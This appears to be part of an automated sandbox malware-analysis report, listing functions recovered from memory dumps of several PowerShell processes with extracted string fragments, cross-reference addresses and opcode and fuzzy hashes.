Function 06CF3BD8 Relevance: 7.7, Strings: 6, Instructions: 245COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF3E41
4'^q, xrefs: 06CF3E4D
Tr5l, xrefs: 06CF3DDE
+l, xrefs: 06CF3EDC
+l, xrefs: 06CF3ECE
Tr5l, xrefs: 06CF3DE8

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$Tr5l$Tr5l$+l$+l
API String ID: 0-352741258
Opcode ID: dad54605969acbd299315103b27c7fe110ab75a3a5b0a98aa96acae46c486092
Instruction ID: 1ddd17b3c4da26712169f15b7b52f3de96e526992d16218b4de00af2b0454770
Opcode Fuzzy Hash: dad54605969acbd299315103b27c7fe110ab75a3a5b0a98aa96acae46c486092
Instruction Fuzzy Hash: B381F431F20258AFDBD49B29D44466ABBF2AF85210F24C06AD6098B351DB31CE45CBE1

Function 06CF2E6F Relevance: 7.6, Strings: 6, Instructions: 140COMMON

Download Yara Rule

Strings

4c^q, xrefs: 06CF3083
4c^q, xrefs: 06CF3079
4c^q, xrefs: 06CF306F
tP^q, xrefs: 06CF2FAD
4c^q, xrefs: 06CF2F14
843l, xrefs: 06CF2F52

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$843l$tP^q
API String ID: 0-2173831383
Opcode ID: 66a648319ed79adc1ba4de8a91fabb02c28ecaddd15af787654c84de4cd276a3
Instruction ID: 7270faf4e3fac4ba3aea0a8cf04075659d3121b4931ac34fa2e3145b5f35c36e
Opcode Fuzzy Hash: 66a648319ed79adc1ba4de8a91fabb02c28ecaddd15af787654c84de4cd276a3
Instruction Fuzzy Hash: 37414931E20154DFDBE48FA4C445A69BBB2AB44710F18C45DEA099F390CB39DE44CBE1

Function 02997FD0 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

tM5l, xrefs: 02998074
`_q, xrefs: 029980C3
`_q, xrefs: 029981E4
`_q, xrefs: 02998262
`_q, xrefs: 02998142

Memory Dump Source

Source File: 00000003.00000002.1759070718.0000000002990000.00000040.00000800.00020000.00000000.sdmp, Offset: 02990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2990000_powershell.jbxd

Similarity

API ID:
String ID: tM5l$`_q$`_q$`_q$`_q
API String ID: 0-2633014842
Opcode ID: 624b7e42526188fe57c04d5c16f784c83cf92805b6ded47fe960e70010a95dca
Instruction ID: 8d32d92ed0bc689f7fa89f2ab364d7577cc97944b78381c72212795227dd1b0a
Opcode Fuzzy Hash: 624b7e42526188fe57c04d5c16f784c83cf92805b6ded47fe960e70010a95dca
Instruction Fuzzy Hash: DDB16F74E012099FDB54DFA9D980A9EFBF6FF88310F148629E419AB354DB30A945CF90

Function 06CF0910 Relevance: 6.4, Strings: 5, Instructions: 128COMMON

Download Yara Rule

Strings

fcq, xrefs: 06CF09A3
r5l, xrefs: 06CF098D
r5l, xrefs: 06CF0983
4'^q, xrefs: 06CF09C6
4'^q, xrefs: 06CF09BA

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: fcq$4'^q$4'^q$r5l$r5l
API String ID: 0-3304088077
Opcode ID: d2e4887d2f2fec9b7a0e3e469a0452d5e7145efcf570e2eae0a870e2e08703a5
Instruction ID: 22d84c7bf608fa5fd93a21be03ac8af76acab71e81d0575ad2246451ef5d7af8
Opcode Fuzzy Hash: d2e4887d2f2fec9b7a0e3e469a0452d5e7145efcf570e2eae0a870e2e08703a5
Instruction Fuzzy Hash: 00411530F242058FDB949B79882066A7BF2AF85611F1884BEC645CF352EE31CE85CBD1

Function 06CF3697 Relevance: 6.3, Strings: 5, Instructions: 84COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF36F8
$^q, xrefs: 06CF36DC
$^q, xrefs: 06CF3717
$^q, xrefs: 06CF36C0
tP^q, xrefs: 06CF375C

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$$^q$$^q$$^q$$^q
API String ID: 0-324510305
Opcode ID: d10c17a0e57dfaa0c87b7d0fc84b2f5c54d337345299925ef0c3f9542b54ea53
Instruction ID: 003b0432f705a006f17aef4be6916bc77de4b01f4f20369ed20553b28e7d553a
Opcode Fuzzy Hash: d10c17a0e57dfaa0c87b7d0fc84b2f5c54d337345299925ef0c3f9542b54ea53
Instruction Fuzzy Hash: A5210976E24294EFDBA48F55C644A66BBF4AF40650B15005BEA08DF362CA35DA04CBE1

Function 06CF2020 Relevance: 6.3, Strings: 5, Instructions: 81COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF20B1
843l, xrefs: 06CF2094
J6l, xrefs: 06CF2133
J6l, xrefs: 06CF20C9
tP^q, xrefs: 06CF2107

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$843l$tP^q$J6l$J6l
API String ID: 0-404919357
Opcode ID: db69cf39db2bc8f7a051bee03d4fc433214459a9607ee646b67a11809d3aec9f
Instruction ID: 34ffc179ce76e8d0c6be529ec6014e03752283cf30c8367a09b77987ceba220f
Opcode Fuzzy Hash: db69cf39db2bc8f7a051bee03d4fc433214459a9607ee646b67a11809d3aec9f
Instruction Fuzzy Hash: 5D21C132E20205CFEBE48F85C455B26B7A6AB80750F18C06ADB045F255C3BACF41CB95

Function 06CF4158 Relevance: 5.1, Strings: 4, Instructions: 134COMMON

Download Yara Rule

Strings

tP^q, xrefs: 06CF41FB
843l, xrefs: 06CF4198
tP^q, xrefs: 06CF41EF
843l, xrefs: 06CF41A2

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 843l$843l$tP^q$tP^q
API String ID: 0-3161935279
Opcode ID: 07e54b56284ba13949e83a6f913c6facb3154ad8c380593bab975c4c74c442fc
Instruction ID: c1a28e800f04818a00c422d49bbb5a3a88a8149d2bc62e5093cf90c76b0e6c41
Opcode Fuzzy Hash: 07e54b56284ba13949e83a6f913c6facb3154ad8c380593bab975c4c74c442fc
Instruction Fuzzy Hash: C6415B31B102149FD7A99B68980466BBBE2EF85310F04C0BADA09DB352CB32ED15C7E1

Function 06CF2788 Relevance: 5.1, Strings: 4, Instructions: 93COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06CF28BD
J6l, xrefs: 06CF284E
r5l, xrefs: 06CF27FF
J6l, xrefs: 06CF289A

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$J6l$J6l$r5l
API String ID: 0-432201144
Opcode ID: 25053339792299597f4d2769bc0e33b196eb2e15ee44c4684fb5e179ebf5ce56
Instruction ID: bc605855e50b19c5815ef895a5f5578c3747f97b69ca890e29984e36bc0f3894
Opcode Fuzzy Hash: 25053339792299597f4d2769bc0e33b196eb2e15ee44c4684fb5e179ebf5ce56
Instruction Fuzzy Hash: 8B318131E20205DFEBE4CF95C451B6A77A9AB44310F58806EDA059B264DB3DDB84CBA2

Function 06CF2230 Relevance: 5.0, Strings: 4, Instructions: 44COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF228E
J6l, xrefs: 06CF227E
J6l, xrefs: 06CF2272
$^q, xrefs: 06CF229A

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$J6l$J6l
API String ID: 0-1038804434
Opcode ID: 0ca1eb97e5fd19baf41da2c08f79dad5902f4c634960eced2f9309de0cf6b6f7
Instruction ID: 567ef10595c35d14274b8af9e9c627b9da80db95155e7e566f239e63a941a50b
Opcode Fuzzy Hash: 0ca1eb97e5fd19baf41da2c08f79dad5902f4c634960eced2f9309de0cf6b6f7
Instruction Fuzzy Hash: 44012B22F393854FC397476848245567FA26F8652070A459BC240DF26AC93ADE48C792

Function 06CF036F Relevance: 5.0, Strings: 4, Instructions: 39COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CF03B6
4'^q, xrefs: 06CF03D7
4'^q, xrefs: 06CF03CB
$^q, xrefs: 06CF03AA

Memory Dump Source

Source File: 00000003.00000002.1765127060.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cf0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: a1011d26cdfbc490a155c895a5d248b0b8899305d5138067136adfecf171565e
Instruction ID: 8934a40771f394fa077d6df2a3cad4ba3aef527d2a71b2c839e91b832148bc35
Opcode Fuzzy Hash: a1011d26cdfbc490a155c895a5d248b0b8899305d5138067136adfecf171565e
Instruction Fuzzy Hash: ACF0F611F993484FC7AA12281830A5A5BF31BC2D90329059FD241DF3ABCD658D4D83A7

Analysis Process: powershell.exePID: 7348, Parent PID: 1440COMMON

Executed Functions

Function 04146C08 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

LR^q, xrefs: 04146CB5
(Xcq, xrefs: 04146D97

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: 869d26af3054648169eb2c45d1f2877a3eaadcf5f31a848f3e6fdfa70eab550a
Instruction ID: 02193ccc905d85058d2ba12169c161d832460d49ff295f8e7999e5dcde882e13
Opcode Fuzzy Hash: 869d26af3054648169eb2c45d1f2877a3eaadcf5f31a848f3e6fdfa70eab550a
Instruction Fuzzy Hash: B7527D34B00218CFEB25DB64C890BAEBBB6BF85304F118199E9499B394DB35ED85CF51

Function 04146BDD Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

LR^q, xrefs: 04146CB5
(Xcq, xrefs: 04146D97

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID: (Xcq$LR^q
API String ID: 0-2856513941
Opcode ID: e9ff1670bcac4a2a94bffc9d847c8be1aab496c34ed1abce8b862e3b478299e1
Instruction ID: c5582bf911dc9ac14b68ae5982547d3e4f8f3cedb3c52416811e554177307bc8
Opcode Fuzzy Hash: e9ff1670bcac4a2a94bffc9d847c8be1aab496c34ed1abce8b862e3b478299e1
Instruction Fuzzy Hash: F361A030B043548FDB15DF68C890B9EBBB6EF86308F0141AAE4459F3A2DB75AD45CB91

Function 04147BC8 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4e428c1b736d1611cd53db8a363e79ef679b97d227e4321899b27b59d4988be
Instruction ID: 10c9ebf288ea729cd3133bf40da3ccf1fdaf044271ce2d7d3a8c016610f771d8
Opcode Fuzzy Hash: c4e428c1b736d1611cd53db8a363e79ef679b97d227e4321899b27b59d4988be
Instruction Fuzzy Hash: F9D11A74A012099FCB04CFA8D5C4AADFBF2EF88314F258599E825AB355D731ED46CB90

Function 04142B60 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a60f66ead7f77e91bc47733b01a4979521c6a4663ffe80c4a0f8a1a18e06aae
Instruction ID: b889cd740d90d6e9923487ba942a934df87ce481d6b4c3f51bc466d20a1c7901
Opcode Fuzzy Hash: 1a60f66ead7f77e91bc47733b01a4979521c6a4663ffe80c4a0f8a1a18e06aae
Instruction Fuzzy Hash: 94917AB4A002498FCB15CF59C4D49AAFBB1FF88350B248599E915AB3A5C735FC91CFA0

Function 04142C70 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b8872afa70d0295569e83ec2cb3fd7c5e8f03fe3c97af2fca9e93abe5cdb626
Instruction ID: 5ee458a45990e4c1af1d0b55db5361aef302ebf7f82d0fab71052f28a35977c4
Opcode Fuzzy Hash: 5b8872afa70d0295569e83ec2cb3fd7c5e8f03fe3c97af2fca9e93abe5cdb626
Instruction Fuzzy Hash: 524128B4A005059FCB05CF59C5D4AAAFBB1FF88350B258599E905AB3A4C736FC90CFA0

Function 04147BB8 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd2ea44ab8c16a6d96ee8c4bb483ec7206a4aa408545accb8c6b20ac0cfbe109
Instruction ID: 79932b82eee6a5b4bb6bd55a09d79184c5bb99b8c3034a378f57a474c9369a83
Opcode Fuzzy Hash: dd2ea44ab8c16a6d96ee8c4bb483ec7206a4aa408545accb8c6b20ac0cfbe109
Instruction Fuzzy Hash: 202129B4A002099FCB04DF98D9909AAFBB5FF89310B158599E919EB352C735FC41CBA1

Function 041476A8 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 628304252acabd6cd2c440a0aeb606c983cb8438b782d42fef2251cf61243370
Instruction ID: 34e259977beb8a828d95f271c5d0fda8e89383f3afd94165111743dcbe9c39b3
Opcode Fuzzy Hash: 628304252acabd6cd2c440a0aeb606c983cb8438b782d42fef2251cf61243370
Instruction Fuzzy Hash: 48E06DB4D0830A9F8B48DFB995021BEBFF4AB48240F10446EA829E3300EB3416118FE1

Function 041476B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 358f2df700718e70a83472de70500c5381e58cff19432d3e8050575c700d7684
Instruction ID: eb4a764c7e34944c4767fa607c84d12537a20a1cfd12d2dff726abe49d33b0d1
Opcode Fuzzy Hash: 358f2df700718e70a83472de70500c5381e58cff19432d3e8050575c700d7684
Instruction Fuzzy Hash: 2BE026B4E0430E9F8F48DFB995421BEFFF5AB48201F10856E9829E3340E73456518F95

Function 04147678 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1788306773.0000000004140000.00000040.00000800.00020000.00000000.sdmp, Offset: 04140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4140000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7736d0bf8faf53fe3382150273737abfb246b060724d30855e2dd1153e2f0c5
Instruction ID: 3c92820b3731383d514a0c5829ff803114f8a2c108f6c90fcc448928510747cd
Opcode Fuzzy Hash: b7736d0bf8faf53fe3382150273737abfb246b060724d30855e2dd1153e2f0c5
Instruction Fuzzy Hash: 51D05EA008E7D55FE36BA7B524196E53F2E4B82100F4900C6F6658C4A3DB9526A497B3

Analysis Process: powershell.exePID: 2000, Parent PID: 1440COMMON

Executed Functions

Function 0363CFA0 Relevance: 5.3, Strings: 4, Instructions: 257COMMON

Download Yara Rule

Strings

>Ho^, xrefs: 0363D039
{>Ho^, xrefs: 0363D1D8, 0363D1DD
k>Ho^, xrefs: 0363D210, 0363D215
[>Ho^, xrefs: 0363D248, 0363D24D

Memory Dump Source

Source File: 0000000D.00000002.1885821963.0000000003630000.00000040.00000800.00020000.00000000.sdmp, Offset: 03630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3630000_powershell.jbxd

Similarity

API ID:
String ID: [>Ho^$k>Ho^${>Ho^$>Ho^
API String ID: 0-1952308903
Opcode ID: 719727ba72742712362cdb166ac5e24df373224a23dc2f3018e95164f645aa2f
Instruction ID: 30aa29ab57034ad83e70121131062b12133645f004cf1e70ed0d6614d4e05cfd
Opcode Fuzzy Hash: 719727ba72742712362cdb166ac5e24df373224a23dc2f3018e95164f645aa2f
Instruction Fuzzy Hash: 4591A3B5F007189BDB1AEFB4C4056AEB7F2EF84614B00891DD54AAF344DF3869068BC6

Function 0363CFB0 Relevance: 5.3, Strings: 4, Instructions: 252COMMON

Download Yara Rule

Strings

>Ho^, xrefs: 0363D039
{>Ho^, xrefs: 0363D1D8, 0363D1DD
k>Ho^, xrefs: 0363D210, 0363D215
[>Ho^, xrefs: 0363D248, 0363D24D

Memory Dump Source

Source File: 0000000D.00000002.1885821963.0000000003630000.00000040.00000800.00020000.00000000.sdmp, Offset: 03630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3630000_powershell.jbxd

Similarity

API ID:
String ID: [>Ho^$k>Ho^${>Ho^$>Ho^
API String ID: 0-1952308903
Opcode ID: dc0a44483a4edad047a7b39e2a5ea61c1ea40543a2d3b071a0a6efeea4cbe3cf
Instruction ID: 585c836f2d497cb45bad30e3e3d97a48491f19851711c62db3277da098bc35dd
Opcode Fuzzy Hash: dc0a44483a4edad047a7b39e2a5ea61c1ea40543a2d3b071a0a6efeea4cbe3cf
Instruction Fuzzy Hash: A09193B5F007189BDB1AEFB4C445AAEB7F2EF84614B00891CD54AAB344DF746D068BC6

Function 07BD3178 Relevance: 23.3, Strings: 18, Instructions: 831COMMON

Download Yara Rule

Strings

J6l, xrefs: 07BD3235
+l, xrefs: 07BD3474
J6l, xrefs: 07BD35EE
4'^q, xrefs: 07BD33FB
J6l, xrefs: 07BD3596
<c(k, xrefs: 07BD33CB
J6l, xrefs: 07BD339F
r5l, xrefs: 07BD3547
4'^q, xrefs: 07BD3407
+l, xrefs: 07BD3482
J6l, xrefs: 07BD31EF
J6l, xrefs: 07BD3241
4'^q, xrefs: 07BD3605
4'^q, xrefs: 07BD3611
J6l, xrefs: 07BD33E5
J6l, xrefs: 07BD33D9
r5l, xrefs: 07BD3551
J6l, xrefs: 07BD35E2

Memory Dump Source

Source File: 0000000D.00000002.1919060823.0000000007BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7bd0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<c(k$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$J6l$r5l$r5l$+l$+l
API String ID: 0-3212000763
Opcode ID: d58b891e26a2597f71be61f55ff208631be371db037be044b303c3899cce4ffc
Instruction ID: 2ee4b02d115356a9e456d5df624893d571c8eabe2a766476f2abe9cd24aa88d9
Opcode Fuzzy Hash: d58b891e26a2597f71be61f55ff208631be371db037be044b303c3899cce4ffc
Instruction Fuzzy Hash: 9C5239F6B04206DFEB148B69D44066ABBE5EF85310F1480FAD505CB356EA36CD45CBA3

Function 07BD2538 Relevance: 20.6, Strings: 16, Instructions: 552COMMON

Download Yara Rule

Strings

tP^q, xrefs: 07BD2A20
4'^q, xrefs: 07BD2776
r5l, xrefs: 07BD25AB
$^q, xrefs: 07BD29B0
$^q, xrefs: 07BD2994
r5l, xrefs: 07BD25B5
4'^q, xrefs: 07BD25DE
$^q, xrefs: 07BD29DB
$^q, xrefs: 07BD29CF
<-'k, xrefs: 07BD273B
4'^q, xrefs: 07BD276A
$^q, xrefs: 07BD2978
tP^q, xrefs: 07BD2A14
4'^q, xrefs: 07BD25EA
$^q, xrefs: 07BD29BC
L5l, xrefs: 07BD284A

Memory Dump Source

Source File: 0000000D.00000002.1919060823.0000000007BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7bd0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q$<-'k$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$L5l$r5l$r5l
API String ID: 0-3568467770
Opcode ID: dd422eedc61e9c9304f49b81fb252bcccaace641721215f57be7fb2882a92731
Instruction ID: 5109e834517ad65b94d982e566049e7ab2880b27c48ffe4b5fe551915cf411ce
Opcode Fuzzy Hash: dd422eedc61e9c9304f49b81fb252bcccaace641721215f57be7fb2882a92731
Instruction Fuzzy Hash: C50239F6B042958FE7258A68D800AAABBE2FFC5211F1484FBD545CF351EA32CD45C7A1

Function 08E71028 Relevance: 17.8, Strings: 14, Instructions: 282COMMON

Download Yara Rule

Strings

$^q, xrefs: 08E713CC
Xbq, xrefs: 08E7111E
$^q, xrefs: 08E713D8
Xbq, xrefs: 08E71378
Xbq, xrefs: 08E710DC
Xbq, xrefs: 08E7126A
Xbq, xrefs: 08E711E6
Xbq, xrefs: 08E712F4
Xbq, xrefs: 08E7109A
Xbq, xrefs: 08E711A3
Xbq, xrefs: 08E712AF
Xbq, xrefs: 08E71160
Xbq, xrefs: 08E71228
Xbq, xrefs: 08E71336

Memory Dump Source

Source File: 0000000D.00000002.1926115436.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8e70000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q$$^q
API String ID: 0-2161063300
Opcode ID: 019a20e6905491d8d64c84f69a0bd6a92093e74c1d81018f117c2b94de914bef
Instruction ID: ebe3dfc8145608c27362178671c776aae6c761f76a848329bfe4e019d71fb590
Opcode Fuzzy Hash: 019a20e6905491d8d64c84f69a0bd6a92093e74c1d81018f117c2b94de914bef
Instruction Fuzzy Hash: F6C14A74B04358CFDB64DF68C9507AEB6F2AF84302F2144B9D54AAB395DB309D828F21

Function 08E71019 Relevance: 16.5, Strings: 13, Instructions: 274COMMON

Download Yara Rule

Strings

$^q, xrefs: 08E713CC
Xbq, xrefs: 08E7111E
Xbq, xrefs: 08E71378
Xbq, xrefs: 08E710DC
Xbq, xrefs: 08E7126A
Xbq, xrefs: 08E711E6
Xbq, xrefs: 08E712F4
Xbq, xrefs: 08E7109A
Xbq, xrefs: 08E711A3
Xbq, xrefs: 08E712AF
Xbq, xrefs: 08E71160
Xbq, xrefs: 08E71228
Xbq, xrefs: 08E71336

Memory Dump Source

Source File: 0000000D.00000002.1926115436.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8e70000_powershell.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$Xbq$$^q
API String ID: 0-2644358041
Opcode ID: 6698e438d7253a2fb7a511a24d795d0f100b4fda9c7325cf8dee9a6d6501cdd2
Instruction ID: 8138d5b66fcd99dfdef4c8c60e8be0d83ddea5cdb5e3ca96824395f5f2e8ac67
Opcode Fuzzy Hash: 6698e438d7253a2fb7a511a24d795d0f100b4fda9c7325cf8dee9a6d6501cdd2
Instruction Fuzzy Hash: 6CB13974B04349CFDB64DF68C5507AEB6F2AF84302F1144BAD54AAB395EB309D828F21

Function 07BD3EC0 Relevance: 14.3, Strings: 11, Instructions: 529COMMON

Download Yara Rule

Strings

0U^q, xrefs: 07BD44C5
843l, xrefs: 07BD3FFB
(o^q, xrefs: 07BD41D3
4'^q, xrefs: 07BD40D1
843l, xrefs: 07BD4005
(o^q, xrefs: 07BD41DF
4'^q, xrefs: 07BD40E1
tP^q, xrefs: 07BD4068
tP^q, xrefs: 07BD4074
4'^q, xrefs: 07BD4020
4'^q, xrefs: 07BD4014

Memory Dump Source

Source File: 0000000D.00000002.1919060823.0000000007BD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7bd0000_powershell.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$0U^q$4'^q$4'^q$4'^q$4'^q$843l$843l$tP^q$tP^q
API String ID: 0-1598463786
Opcode ID: d3f76c27c4b4568c9e2c6c6c5b5b34e0b6bca7885cfe2e9cc5228a296d46d92d
Instruction ID: fe3abad0f67e66c64412f064db0fe696e6d79620940e47e1b4c9a9a3cd0d5b62
Opcode Fuzzy Hash: d3f76c27c4b4568c9e2c6c6c5b5b34e0b6bca7885cfe2e9cc5228a296d46d92d
Instruction Fuzzy Hash: B51206B1B002499FEB14CF68C444AAABBF2EF85310F1484E9E9158F355EB31DD85CBA1

Function 03638C60 Relevance: 1.5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

Strings

(bq, xrefs: 03638D85

Memory Dump Source

Source File: 0000000D.00000002.1885821963.0000000003630000.00000040.00000800.00020000.00000000.sdmp, Offset: 03630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_3630000_powershell.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: f854e6f0088d1b64687fad8085ca8f71d6da90dedbcceb9b0d37b49660767343
Instruction ID: 9348197892951f727e790caf6cb8f8d758434711bc9a058f9b930faa5447744a
Opcode Fuzzy Hash: f854e6f0088d1b64687fad8085ca8f71d6da90dedbcceb9b0d37b49660767343
Instruction Fuzzy Hash: F9812B35B002058FCB14DF69C594AADBBF6AF8E215F194099E406EB3A5DB34EC05CB61

Function 08E70220 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

J6l, xrefs: 08E702F2

Memory Dump Source

Source File: 0000000D.00000002.1926115436.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8e70000_powershell.jbxd

Similarity

API ID:
String ID: J6l
API String ID: 0-2605364582
Opcode ID: bdaccbcc488276f238233b15dcf5c15d4267b55ad2bf9631c02f10b94ffb4aa6
Instruction ID: 35a565af42406b08b489f42fd2d3b4e7c960dbb80376d8637b0137941d60fc2e
Opcode Fuzzy Hash: bdaccbcc488276f238233b15dcf5c15d4267b55ad2bf9631c02f10b94ffb4aa6
Instruction Fuzzy Hash: 3441BD31A04745DFCB15DF78D594A9EBBF1AF49300F00856DD446AB3A6DB34AC09CB91

Function 08E70248 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

J6l, xrefs: 08E702F2

Memory Dump Source

Source File: 0000000D.00000002.1926115436.0000000008E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 08E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_8e70000_powershell.jbxd

Similarity

API ID:
String ID: J6l
API String ID: 0-2605364582
Opcode ID: 9d1447ba12bd0030c32b592868a010181bcd971c46204c4a7c5529f438f3a7ca
Instruction ID: 2547bad9a12e447291db1554fb5872cdee656443197d7a8450946fe8666f75ea
Opcode Fuzzy Hash: 9d1447ba12bd0030c32b592868a010181bcd971c46204c4a7c5529f438f3a7ca
